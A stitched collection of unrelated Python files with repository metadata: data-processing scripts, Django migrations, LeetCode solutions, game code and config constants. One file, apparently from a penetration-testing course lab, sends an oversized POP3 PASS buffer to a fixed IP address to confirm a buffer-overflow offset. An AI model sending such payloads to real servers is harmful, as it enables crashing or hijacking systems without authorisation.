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# System configs GLOBAL_HOST = '0.0.0.0' LOCAL_HOST = '127.0.0.1' # General request DEFAULT_REQUEST_RETRIES = 5 DEFAULT_REQUEST_RETRY_WAITING = 1.0 # Slave configs MIN_HEARTBEAT_SPAN = 0.2 DEFAULT_HEARTBEAT_SPAN = 3.0 DEFAULT_SLAVE_PORT = 7236 # Master configs MIN_HEARTBEAT_CHECK_SPAN = 0.1 DEFAULT_HEARTBEAT_CHECK_SPAN = 1.0 DEFAULT_HEARTBEAT_TOLERANCE = 17.0 DEFAULT_MASTER_PORT = 7235 # Two-side configs DEFAULT_CHANNEL = 0

[ "niuyazhe@sensetime.com" ]

niuyazhe@sensetime.com

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/wp2/era5_scripts/02_preprocessing/combine82/502-tideGauge.py

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[]

no_license

moinabyssinia/modeling-global-storm-surges

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refs/heads/master

2023-06-09T00:40:39.319465

2021-06-25T21:00:44

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# -*- coding: utf-8 -*- """ Created on Tue Apr 16 16:11:00 2020 -------------------------------------------- Load predictors for each TG and combine them -------------------------------------------- @author: Michael Tadesse """ import os import pandas as pd #define directories dir_in = '/lustre/fs0/home/mtadesse/eraFiveConcat' dir_out = '/lustre/fs0/home/mtadesse/ereaFiveCombine' def combine(): os.chdir(dir_in) #get names tg_list_name = os.listdir() #cd to where the actual file is os.chdir(dir_in) x = 502 y = 503 for t in range(x, y): tg_name = tg_list_name[t] print(tg_name, '\n') #looping through each TG folder os.chdir(tg_name) #defining the path for each predictor where = os.getcwd() csv_path = {'slp' : os.path.join(where, 'slp.csv'),\ "wnd_u": os.path.join(where, 'wnd_u.csv'),\ 'wnd_v' : os.path.join(where, 'wnd_v.csv')} first = True for pr in csv_path.keys(): print(tg_name, ' ', pr) #read predictor pred = pd.read_csv(csv_path[pr]) #remove unwanted columns pred.drop(['Unnamed: 0', 'Unnamed: 0.1'], axis = 1, inplace=True) #give predictor columns a name pred_col = list(pred.columns) for pp in range(len(pred_col)): if pred_col[pp] == 'date': continue pred_col[pp] = pr + str(pred_col[pp]) pred.columns = pred_col #merge all predictors if first: pred_combined = pred first = False else: pred_combined = pd.merge(pred_combined, pred, on = 'date') #saving pred_combined os.chdir(dir_out) pred_combined.to_csv('.'.join([tg_name, 'csv'])) os.chdir(dir_in) print('\n') #run script combine()

[ "michaelg.tadesse@gmail.com" ]

michaelg.tadesse@gmail.com

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/corral/exceptions.py

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#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright (c) 2016-2017, Cabral, Juan; Sanchez, Bruno & Berois, Martín # All rights reserved. # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # * Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # * Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. class ValidationError(Exception): pass class ImproperlyConfigured(ValueError): pass class DBError(Exception): pass

[ "jbc.develop@gmail.com" ]

jbc.develop@gmail.com

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/api/tacticalrmm/winupdate/tasks.py

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permissive

doytsujin/tacticalrmm

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from time import sleep from agents.models import Agent from .models import WinUpdate from tacticalrmm.celery import app @app.task def check_for_updates_task(pk, wait=False): if wait: sleep(60) agent = Agent.objects.get(pk=pk) resp = agent.salt_api_cmd( hostname=agent.salt_id, timeout=310, salt_timeout=300, func="win_wua.list", arg="skip_installed=False", ) data = resp.json() ret = data["return"][0][agent.salt_id] # if managed by wsus, nothing we can do until salt supports it if type(ret) is str: err = ["unknown failure", "2147352567", "2145107934"] if any(x in ret.lower() for x in err): agent.managed_by_wsus = True agent.save(update_fields=["managed_by_wsus"]) return f"{agent.hostname} managed by wsus" else: # if previously managed by wsus but no longer (i.e moved into a different OU in AD) # then we can use salt to manage updates if agent.managed_by_wsus and type(ret) is dict: agent.managed_by_wsus = False agent.save(update_fields=["managed_by_wsus"]) guids = [] for k in ret.keys(): guids.append(k) if not WinUpdate.objects.filter(agent=agent).exists(): for i in guids: WinUpdate( agent=agent, guid=i, kb=ret[i]["KBs"][0], mandatory=ret[i]["Mandatory"], title=ret[i]["Title"], needs_reboot=ret[i]["NeedsReboot"], installed=ret[i]["Installed"], downloaded=ret[i]["Downloaded"], description=ret[i]["Description"], severity=ret[i]["Severity"], ).save() else: for i in guids: # check if existing update install / download status has changed if WinUpdate.objects.filter(agent=agent).filter(guid=i).exists(): update = WinUpdate.objects.filter(agent=agent).get(guid=i) if ret[i]["Installed"] != update.installed: update.installed = not update.installed update.save(update_fields=["installed"]) if ret[i]["Downloaded"] != update.downloaded: update.downloaded = not update.downloaded update.save(update_fields=["downloaded"]) # otherwise it's a new update else: WinUpdate( agent=agent, guid=i, kb=ret[i]["KBs"][0], mandatory=ret[i]["Mandatory"], title=ret[i]["Title"], needs_reboot=ret[i]["NeedsReboot"], installed=ret[i]["Installed"], downloaded=ret[i]["Downloaded"], description=ret[i]["Description"], severity=ret[i]["Severity"], ).save() return "ok"

[ "dcparsi@gmail.com" ]

dcparsi@gmail.com

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/commons/libs/pyblish/version.py

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[]

no_license

flypotatojun/Barbarian

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efe14dd24c65b4852997dad1290e503211bcc419

refs/heads/master

2021-07-18T01:43:14.443911

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py

VERSION_MAJOR = 1 VERSION_MINOR = 4 VERSION_PATCH = 3 version_info = (VERSION_MAJOR, VERSION_MINOR, VERSION_PATCH) version = '%i.%i.%i' % version_info __version__ = version __all__ = ['version', 'version_info', '__version__']

[ "lonegather@users.noreply.github.com" ]

lonegather@users.noreply.github.com

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/samples/tf_study/prettytensor/funcs/register.py

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[]

no_license

CosmosShadow/MLPythonLib

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refs/heads/master

2020-05-21T15:08:58.082575

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# coding: utf-8 import tensorflow as tf import prettytensor as pt import numpy as np import cmtf.data.data_mnist as data_mnist @pt.Register def leaky_relu(input_pt): return tf.select(tf.greater(input_pt, 0.0), input_pt, 0.01*input_pt) x = tf.Variable([1, 2, 3, -3, -2, -1], dtype=tf.float32) x_pretty = pt.wrap(x) y = x_pretty.leaky_relu() with tf.Session() as sess: sess.run(tf.initialize_all_variables()) print(sess.run(y))

[ "lichenarthurml@gmail.com" ]

lichenarthurml@gmail.com

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# n = {1,2,5} # print(type(n)) # l= [1,5,6] # print(type(set(l))) # print(n | set(l)) # res = n | set(l) # for i in res: # print(i,end=" ") n,m = input().split() x = [int(i) for i in str(input()).split()] y = [int(i) for i in str(input()).split()] x= set(x) y= set(y) # print( set(x)| set(y)) res = sorted(list(x.union(y))) print(res) for i in res: print(i,end=" ") # for i in range(len(res)-1): # print(res[i], end=" ") # for i in range(len(res)): # if i==len(res)-1: # print(res[i]) # else: # print(res[i],end=" ")

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refs/heads/master

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version https://git-lfs.github.com/spec/v1 oid sha256:691f5261422e51d9e03272aae70ab30a0ad6712d65759be6a8f9a41bd904a565 size 21944

[ "nateweiler84@gmail.com" ]

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mave5/pmarp

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refs/heads/master

2022-10-20T12:52:08.587884

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# Merging 2 Packages def get_indices_of_item_wights(arr, limit): if len(arr)==1: return [] #elif (len(arr)==2) and (arr[0]+arr[1]==limit): #print arr[0],arr[1],arr[0]+arr[1] #return [] comps={} for i in range(0,len(arr)): w=arr[i] j=comps.get(lim-w) if j is not None: return [j,i] else: comps[w]=i return [] arr = [4, 4] lim = 8 print get_indices_of_item_wights(arr,lim) #%% # find a pair with specific sum def findPairSum(arr,s): first=0 last=len(arr)-1 while(first<last): if (arr[first]+arr[last]>s): last-=1 elif arr[first]+arr[last]<s: first+=1 else: return arr[first],arr[last] return []

[ "mra446@gmail.com" ]

mra446@gmail.com

cbeac3af8c846564c43834c3869b02822384413f

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/7_4_1/size.py

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[]

no_license

xyalbino/pwk_exercises

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refs/heads/master

2020-06-14T22:21:34.571883

2019-03-11T22:07:44

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2019-07-04T00:30:30

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#!/usr/bin/env python import socket, sys if __name__ == '__main__': buff = "A" * 2606 + "B" * 4 + "C" * (3500 - 2606 - 4) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock_conn = sock.connect(("10.11.21.97", 110)) data = sock.recv(1024) print data sock.send("USER test\r\n") data = sock.recv(1024) print data sock.send("PASS {0}\r\n".format(buff)) data = sock.recv(1024) print data except socket.error: print("[x] Unable to connect...") finally: sock.close() sys.exit(0)

[ "root@localhost.localdomain" ]

root@localhost.localdomain

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/main.py

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[]

no_license

shivamdattapurkayastha99/drs-system

b1af2d087d5ac04294dcad3fcdb921d22a4b4b27

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refs/heads/master

2023-07-06T18:35:33.594613

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import tkinter import cv2 import PIL.Image,PIL.ImageTk from functools import partial import threading import imutils import time stream=cv2.VideoCapture('clip.mp4') def play(speed): print(f"You clicked on play.Speed is {speed}") frame1=stream.get(cv2.CAP_PROP_POS_FRAMES) stream.set(cv2.CAP_PROP_POS_FRAMES,frame1+speed) grabbed,frame=stream.read() frame=imutils.resize(frame,width=SET_WIDTH,height=SET_HEIGHT) frame=PIL.ImageTk.PhotoImage(image=PIL.Image.fromarray(frame)) canvas.image=frame canvas.create_image(0,0,image=frame,anchor=tkinter.NW) canvas.create_text(120,25,fill="green",font="Times 20",text="Decision Pending") def out(): thread=threading.Thread(target=pending,args=("out",)) thread.daemon=1 thread.start() print("player is out") def not_out(): thread=threading.Thread(target=pending,args=("not out",)) thread.daemon=1 thread.start() print("player is not out") def pending(decision): frame=cv2.cvtColor(cv2.imread("pending.png"),cv2.COLOR_BGR2RGB) frame=imutils.resize(frame,width=SET_WIDTH,height=SET_HEIGHT) frame=PIL.ImageTk.PhotoImage(image=PIL.Image.fromarray(frame)) canvas.image=frame canvas.create_image(0,0,image=frame,anchor=tkinter.NW) time.sleep(1) frame=cv2.cvtColor(cv2.imread("sponsor.png"),cv2.COLOR_BGR2RGB) frame=imutils.resize(frame,width=SET_WIDTH,height=SET_HEIGHT) frame=PIL.ImageTk.PhotoImage(image=PIL.Image.fromarray(frame)) canvas.image=frame canvas.create_image(0,0,image=frame,anchor=tkinter.NW) time.sleep(1.5) if decision=='out': decisionImg='out.png' else: decisionImg='not_out.png' frame=cv2.cvtColor(cv2.imread(decisionImg),cv2.COLOR_BGR2RGB) frame=imutils.resize(frame,width=SET_WIDTH,height=SET_HEIGHT) frame=PIL.ImageTk.PhotoImage(image=PIL.Image.fromarray(frame)) canvas.image=frame canvas.create_image(0,0,image=frame,anchor=tkinter.NW) SET_WIDTH=650 SET_HEIGHT=368 window=tkinter.Tk() window.title("Shivam DRS") cv_img=cv2.cvtColor(cv2.imread("welcome.png"),cv2.COLOR_BGR2RGB) canvas=tkinter.Canvas(window,width=SET_WIDTH,height=SET_HEIGHT) photo=PIL.ImageTk.PhotoImage(image=PIL.Image.fromarray(cv_img)) image_on_canvas=canvas.create_image(0,0,ancho=tkinter.NW,image=photo) canvas.pack() btn=tkinter.Button(window,text="<<Previous(fast),width=50",command=partial(play,-25)) btn.pack() btn=tkinter.Button(window,text="<<Previous(slow),width=50",command=partial(play,-2)) btn.pack() btn=tkinter.Button(window,text="Next(fast)>>,width=50",command=partial(play,25)) btn.pack() btn=tkinter.Button(window,text="Next(slow)>>,width=50",command=partial(play,2)) btn.pack() btn=tkinter.Button(window,text="Give Out,width=50",command=out) btn.pack() btn=tkinter.Button(window,text="Give Not Out,width=50",command=not_out) btn.pack() window.mainloop()

[ "shivamdatta465@gmail.com" ]

shivamdatta465@gmail.com

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/.history/demo_20201106173944.py

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[]

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Allison001/developer_test

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b8e04b4b248b0c10a35e93128a5323165990052c

refs/heads/master

2023-06-18T08:46:40.202383

2021-07-23T03:31:54

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# a = 1 # if a==0: # print("a=0") # else: # print("a!0") # """ # x>1 (3x-5) # -1<=x<=1 (x+2) # x < -1 (5x+3) # """ # x = int(input("输入您的数字：")) # if x > 1: # print(3*x-5) # else: # if x >= -1: # print(x + 2) # else: # print(5*x+3) # 猜数字游戏 # import random # computet_num = random.randint(1,100) # while True: # people_num = int(input("请输入您的数字：")) # if people_num < computet_num: # print("大一点") # elif people_num > computet_num: # print("小一点") # else: # print("猜对了") # break # def fun1(a,b,c): # print("这是参数a:",a) # print("这是参数b:",b) # print("这是参数c:",c) # fun1(1,23,4) # def fun1(a): # # return "ac" # print("a") # fun1("c") # def fun1(a,b,c,d): # print(a,b,c,d) # fun1(10,13,d=13,c=90) # fun1 = lambda x: x+10 # print(fun1(5)) # def fun1(x): # return x+10 # print(fun1(5)) # fun1 = lambda x,y: x+y # print(fun1(10,12)) # list = ["ha"] # b = {"hah"} # c = "a" # d = ("a","v") # print(type(list)) # print(type(b)) # print(type(c)) # print(type(d)) lista = ["a","b","c"] # lista.append("b") # lista.insert(5,"e") # lista.remove("b") lista.pop(0) print(lista)

[ "zhangyingxbba@gmail.com" ]

zhangyingxbba@gmail.com

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/leetcode_python2/lc917_reverse_only_letters.py

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garderobin/Leetcode

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refs/heads/master

2021-01-17T14:43:49.423071

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from abc import ABCMeta, abstractmethod class ReverseOnlyLetters: __metaclass__ = ABCMeta @abstractmethod def reverse_only_letters(self, S): """ :type S: str :rtype: str """ class ReverseOnlyLettersImpl1(ReverseOnlyLetters): """ Time: O(n) Space: O(n) """ def reverse_only_letters(self, S): letters, rs = [c for c in S if c.isalpha()], [] for c in S: if c.isalpha(): rs.append(letters.pop()) else: rs.append(c) return ''.join(rs)

[ "garderobinshot@hotmail.com" ]

garderobinshot@hotmail.com

b8466fc6eb726ee2342e5e499d2da3d64d0cb182

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/lib/coginvasion/battle/TurretGag.py

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[]

no_license

coginvasion/src

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refs/heads/master

2021-01-19T06:50:11.786112

2015-11-08T12:28:52

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# Embedded file name: lib.coginvasion.battle.TurretGag """ Filename: TurretGag.py Created by: DecodedLogic (10Aug15) """ from panda3d.core import CollisionSphere, CollisionNode, BitMask32, CollisionHandlerEvent, NodePath from direct.showbase.DirectObject import DirectObject from direct.interval.ProjectileInterval import ProjectileInterval from direct.actor.Actor import Actor from lib.coginvasion.globals import CIGlobals from lib.coginvasion.gags.GagManager import GagManager class TurretGag(DirectObject): def __init__(self, turret, collideEventName, gagName): DirectObject.__init__(self) self.turret = turret self.collideEventName = collideEventName self.eventName = 'turretGagSensor' + str(id(self)) + '-into' self.trackName = 'turretGagTrack' + str(id(self)) self.track = None self.gravityMult = 0.9 self.duration = 2.5 self.setClass(gagName) return def setClass(self, gagName): gagMgr = GagManager() self.gagClass = gagMgr.getGagByName(gagName) self.gag = None return def build(self): self.gagClass.build() self.gag = self.gagClass.getGag() self.gag.reparentTo(self.turret.getCannon()) self.gag.setY(5.2) self.gag.setHpr(90, -90, 90) if isinstance(self.gag, Actor): self.gag.loop('chan') def shoot(self, rangeVector): if not self.gag: return rangeNode = NodePath('Shoot Range') rangeNode.reparentTo(self.turret.getCannon()) rangeNode.setScale(render, 1) rangeNode.setPos(rangeVector) rangeNode.setHpr(90, -90, 90) self.gag.setScale(self.gag.getScale(render)) self.gag.setScale(self.gag.getScale(render)) self.gag.setPos(self.gag.getPos(render)) self.gag.reparentTo(render) self.gag.setHpr(rangeNode.getHpr(render)) base.audio3d.attachSoundToObject(self.gagClass.woosh, self.gag) self.gagClass.woosh.play() self.track = ProjectileInterval(self.gag, startPos=self.gag.getPos(render), endPos=rangeNode.getPos(render), gravityMult=self.gravityMult, duration=self.duration, name=self.trackName) self.track.setDoneEvent(self.track.getName()) self.acceptOnce(self.track.getDoneEvent(), self.cleanup) self.track.start() fireSfx = base.audio3d.loadSfx('phase_4/audio/sfx/MG_cannon_fire_alt.mp3') base.audio3d.attachSoundToObject(fireSfx, self.turret.getCannon()) fireSfx.play() if self.turret.isLocal(): self.buildCollisions() self.acceptOnce(self.eventName, self.handleCollision) def getGag(self): return self.gag def buildCollisions(self): pieSphere = CollisionSphere(0, 0, 0, 1) pieSensor = CollisionNode('turretGagSensor' + str(id(self))) pieSensor.addSolid(pieSphere) pieNP = self.gag.attachNewNode(pieSensor) pieNP.setCollideMask(BitMask32(0)) pieNP.node().setFromCollideMask(CIGlobals.WallBitmask | CIGlobals.FloorBitmask) event = CollisionHandlerEvent() event.set_in_pattern('%fn-into') event.set_out_pattern('%fn-out') base.cTrav.addCollider(pieNP, event) def handleCollision(self, entry): messenger.send(self.collideEventName, [entry, self]) def getID(self): return self.gagClass.getID() def getCollideEventName(self): return self.collideEventName def cleanup(self): if hasattr(self, 'collideEventName'): del self.collideEventName if self.track: self.track.finish() self.track = None if self.turret: if self.turret.entities and self in self.turret.entities: self.turret.entities.remove(self) self.turret = None self.ignore(self.eventName) self.duration = None self.gravityMult = None self.eventName = None self.trackName = None if self.gagClass: self.gagClass.cleanupGag() self.gagClass = None if self.gag: if isinstance(self.gag, Actor): self.gag.cleanup() self.gag.removeNode() self.gag = None return

[ "ttarchive@yandex.com" ]

ttarchive@yandex.com

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/zippy/benchmarks/src/micro/function-call2.py

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# zwei 10/10/13 # function calls import time def emptyFunction(arg): return arg def callFunctions(num): count = 0 for i in xrange(num): ret = emptyFunction(i) count += 1 return count def measure(): print("Start timing...") start = time.time() sum = callFunctions(1000000000) #1000000 print("Number of calls ", sum) duration = "%.3f\n" % (time.time() - start) print("function-call: " + duration) #warm up for run in xrange(10000): callFunctions(50000) measure()

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import enum from ib_common.constants import BaseEnumClass class CodeLanguage(BaseEnumClass, enum.Enum): python = "PYTHON" c_language = "C" c_plus_plus = "CPP" python36 = "PYTHON36" python37 = "PYTHON37" python38 = "PYTHON38" python38_datascience = "PYTHON38_DATASCIENCE" python38_aiml = "PYTHON38_AIML" class CategoryType(BaseEnumClass, enum.Enum): indian_bread = "Indian-Bread" curry = "Curry" rice = "Rice" class UnitType(BaseEnumClass, enum.Enum): pieces = "pieces" cups = "cups" laddles = "laddles" class TypeOfMeal(BaseEnumClass, enum.Enum): breakfast = "Breakfast" lunch = "Lunch" dinner = "Dinner" class CourseType(BaseEnumClass, enum.Enum): half_meal = 'Half-meal' full_meal = 'Full-meal' custom_meal = 'Custom-meal' skip_meal = 'Skip-meal' class RatingType(BaseEnumClass, enum.Enum): one = 1 two = 2 three = 3 four = 4 five = 5 class BaseUnitType(BaseEnumClass, enum.Enum): pieces = 'pieces' kilogram = 'kg'

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# generated from catkin/cmake/template/pkg.context.pc.in CATKIN_PACKAGE_PREFIX = "" PROJECT_PKG_CONFIG_INCLUDE_DIRS = "/home/anupam/Desktop/CarND-T3-P4-Capstone/ros/devel/include".split(';') if "/home/anupam/Desktop/CarND-T3-P4-Capstone/ros/devel/include" != "" else [] PROJECT_CATKIN_DEPENDS = "".replace(';', ' ') PKG_CONFIG_LIBRARIES_WITH_PREFIX = "".split(';') if "" != "" else [] PROJECT_NAME = "styx_msgs" PROJECT_SPACE_DIR = "/home/anupam/Desktop/CarND-T3-P4-Capstone/ros/devel" PROJECT_VERSION = "0.0.0"

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# Generated by Django 2.2 on 2019-06-09 07:33 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('blog', '0002_blogpost_slug'), ] operations = [ migrations.AlterField( model_name='blogpost', name='slug', field=models.SlugField(default='my-slug', unique=True), ), ]

[ "nikhil.cse16@gmail.com" ]

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# -*- coding: utf-8 -*- def main(): a, b, c = map(str, input().split()) if a[-1] == b[0] and b[-1] == c[0]: print('YES') else: print('NO') if __name__ == '__main__': main()

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k.hiro1818@gmail.com

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#Professor: Antônio Barbosa Junior #Disciplina: Lógica de programação #Aluno: Felipe Ferreira Lima e Lima #Matrícula: 22001310 #Data: 08/04/2020 #Exercício 06 soma = 0 i = 0 lista = range(7, -1, -1) # ou lista = [7,6,5,4,3,2,1,0] for x in lista: print(x, end=" ")

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''' Created on 21 Feb 2017 @author: jkiesele ''' from TrainDataDeepJetDelphes import TrainDataDeepJetDelphes, fileTimeOut class TrainData_DelphesDomAda(TrainDataDeepJetDelphes): ''' example data structure - basis for further developments ''' def __init__(self): ''' Constructor ''' TrainDataDeepJetDelphes.__init__(self) self.addBranches(['jet_pt', 'jet_eta']) #consider jet pt and eta self.addBranches(['track_pt'], 6) #consider the pt of the first 6 tracks self.addBranches(['track_releta', 'track_sip3D', 'track_sip2D'], 10) #all those for the first 10 tracks self.registerBranches(['isMC','isTtbar']) #creates label weights per batch #due to normalisation, two are sufficient for 3 labels (B, C UDSG) #self.generatePerBatch=None #[[0.2,5.],[0.2,5.]] def readFromRootFile(self,filename,TupleMeanStd, weighter): import numpy Tuple = self.readTreeFromRootToTuple(filename) mclabel=Tuple['isMC'].view(numpy.ndarray) mclabel=mclabel.reshape(mclabel.shape[0],1) proclabel=Tuple['isTtbar'].view(numpy.ndarray) proclabel=proclabel.reshape(mclabel.shape[0],1) weights,x_all,alltruth, notremoves =self.getFlavourClassificationData(filename,TupleMeanStd, weighter) if self.remove: #print('remove') mclabel=mclabel[notremoves > 0] proclabel=proclabel[notremoves > 0] domaintruth_datamc=numpy.hstack((mclabel,alltruth)) labeltruth=domaintruth_datamc #domaintruth_ttbarqcd=numpy.hstack((proclabel,alltruth)) self.w=[weights] #the label fraction weights are computed on the fly self.x=[x_all, alltruth] #the truth self.y=[labeltruth,domaintruth_datamc]

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# なぜかうまくいかない import sys, re, os from collections import deque, defaultdict, Counter from math import ceil, sqrt, hypot, factorial, pi, sin, cos, radians from itertools import permutations, combinations, product, accumulate from operator import itemgetter, mul from copy import deepcopy from string import ascii_lowercase, ascii_uppercase, digits from fractions import gcd from bisect import bisect, bisect_right, bisect_left def input(): return sys.stdin.readline().strip() def INT(): return int(input()) def MAP(): return map(int, input().split()) def S_MAP(): return map(str, input().split()) def LIST(): return list(map(int, input().split())) def S_LIST(): return list(map(str, input().split())) sys.setrecursionlimit(10 ** 9) INF = float('inf') mod = 10 ** 9 + 7 A, B, Q = MAP() S = [INT() for i in range(A)] T = [INT() for i in range(B)] X = [INT() for i in range(Q)] S.insert(0, -INF) S.append(INF) T.insert(0, -INF) T.append(INF) for x in X: s = bisect(S, x) t = bisect(T, x) # print(s, t) # a = min(x - S[s-1], S[s] - x) # b = min(x - T[t-1], T[t] - x) res = INF for a in [S[s-1], S[s]]: for b in [T[t-1], T[t]]: res = min(res, min(abs(a - x) + abs(b - a), abs(x - b) + abs(b - a))) print(res)

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pwang867/LeetCode-Solutions-Python

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# Definition for singly-linked list. # class ListNode(object): # def __init__(self, x): # self.val = x # self.next = None # time O(n), space O(1) in place class Solution(object): def isPalindrome(self, head): """ :type head: ListNode :rtype: bool """ if not head or not head.next: return True pre, cur = None, head fast = head.next while fast and fast.next: fast = fast.next.next copy = cur.next cur.next = pre # reverse the first half pre, cur = cur, copy if fast: # original list has even length if cur.val != cur.next.val: return False return self.isSameList(pre, cur.next.next) else: # odd length return self.isSameList(pre, cur.next) def isSameList(self, head1, head2): while head1 and head2: if head1.val != head2.val: return False head1 = head1.next head2 = head2.next return not head1 and not head2 """ Given a singly linked list, determine if it is a palindrome. Example 1: Input: 1->2 Output: false Example 2: Input: 1->2->2->1 Output: true Follow up: Could you do it in O(n) time and O(1) space? """

[ "wzhou007@ucr.edu" ]

wzhou007@ucr.edu

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stheartsachu/Python_basics_and_data_base_operations

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# Let us simplify the code # by using the "with" Keyword. # write to a text file with open('t.txt','w') as f : f.write('HEllo World ! ') f.close() # It will be Closed automaticallly # f = open('t.txt', mode = 'w') # w = create and write # r = read(default) # a = append # x = create if not exist # with = with satement is used tp wrap the execution of a block of code # within methods defined by a context manger

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Sally27/backup_cmtuser_full

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# file /home/hep/ss4314/cmtuser/Gauss_v45r10p1/Gen/DecFiles/options/12315011.py generated: Wed, 25 Jan 2017 15:25:15 # # Event Type: 12315011 # # ASCII decay Descriptor: {[B+ -> K+ pi+ pi- e+ mu-]cc,[B+ -> K+ pi+ pi- e- mu+]cc} # from Configurables import Generation Generation().EventType = 12315011 Generation().SampleGenerationTool = "SignalRepeatedHadronization" from Configurables import SignalRepeatedHadronization Generation().addTool( SignalRepeatedHadronization ) Generation().SignalRepeatedHadronization.ProductionTool = "PythiaProduction" from Configurables import ToolSvc from Configurables import EvtGenDecay ToolSvc().addTool( EvtGenDecay ) ToolSvc().EvtGenDecay.UserDecayFile = "$DECFILESROOT/dkfiles/Bu_Kpipiemu=DecProdCut.dec" Generation().SignalRepeatedHadronization.CutTool = "DaughtersInLHCb" Generation().SignalRepeatedHadronization.SignalPIDList = [ 521,-521 ] # Ad-hoc particle gun code from Configurables import ParticleGun pgun = ParticleGun("ParticleGun") pgun.SignalPdgCode = 521 pgun.DecayTool = "EvtGenDecay" pgun.GenCutTool = "DaughtersInLHCb" from Configurables import FlatNParticles pgun.NumberOfParticlesTool = "FlatNParticles" pgun.addTool( FlatNParticles , name = "FlatNParticles" ) from Configurables import MomentumSpectrum pgun.ParticleGunTool = "MomentumSpectrum" pgun.addTool( MomentumSpectrum , name = "MomentumSpectrum" ) pgun.MomentumSpectrum.PdgCodes = [ 521,-521 ] pgun.MomentumSpectrum.InputFile = "$PGUNSDATAROOT/data/Ebeam4000GeV/MomentumSpectrum_521.root" pgun.MomentumSpectrum.BinningVariables = "pteta" pgun.MomentumSpectrum.HistogramPath = "h_pteta" from Configurables import BeamSpotSmearVertex pgun.addTool(BeamSpotSmearVertex, name="BeamSpotSmearVertex") pgun.VertexSmearingTool = "BeamSpotSmearVertex" pgun.EventType = 12315011

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#%% """ - Swap Nodes in Pairs - https://leetcode.com/problems/swap-nodes-in-pairs/ - Medium Given a linked list, swap every two adjacent nodes and return its head. You may not modify the values in the list's nodes, only nodes itself may be changed. Example: Given 1->2->3->4, you should return the list as 2->1->4->3. """ #%% class ListNode: def __init__(self, data=0, next=None): self.data = data self.next = next #%% class S1: def swapPairs(self, head): """ :type head: ListNode :rtype: ListNode """ if not head or not head.next: return head tmp = head.next head.next = self.swapPairs(head.next.next) tmp.next = head return tmp #%% class S2: def swapPairs(self, head): """ :type head: ListNode :rtype: ListNode """ if head == None or head.next == None: return head dummy = ListNode(-1) dummy.next = head cur = dummy while cur.next and cur.next.next: next_one, next_two, next_three = cur.next, cur.next.next, cur.next.next.next cur.next = next_two next_two.next = next_one next_one.next = next_three cur = next_one return dummy.next

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# encoding: utf-8 import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'Tag' db.create_table('blog_tag', ( ('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('name', self.gf('django.db.models.fields.CharField')(max_length=42)), )) db.send_create_signal('blog', ['Tag']) # Adding M2M table for field tags on 'Post' db.create_table('blog_post_tags', ( ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True)), ('post', models.ForeignKey(orm['blog.post'], null=False)), ('tag', models.ForeignKey(orm['blog.tag'], null=False)) )) db.create_unique('blog_post_tags', ['post_id', 'tag_id']) def backwards(self, orm): # Deleting model 'Tag' db.delete_table('blog_tag') # Removing M2M table for field tags on 'Post' db.delete_table('blog_post_tags') models = { 'auth.group': { 'Meta': {'object_name': 'Group'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}), 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}) }, 'auth.permission': { 'Meta': {'ordering': "('content_type__app_label', 'content_type__model', 'codename')", 'unique_together': "(('content_type', 'codename'),)", 'object_name': 'Permission'}, 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['contenttypes.ContentType']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}) }, 'auth.user': { 'Meta': {'object_name': 'User'}, 'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}), 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Group']", 'symmetrical': 'False', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}), 'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['auth.Permission']", 'symmetrical': 'False', 'blank': 'True'}), 'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': 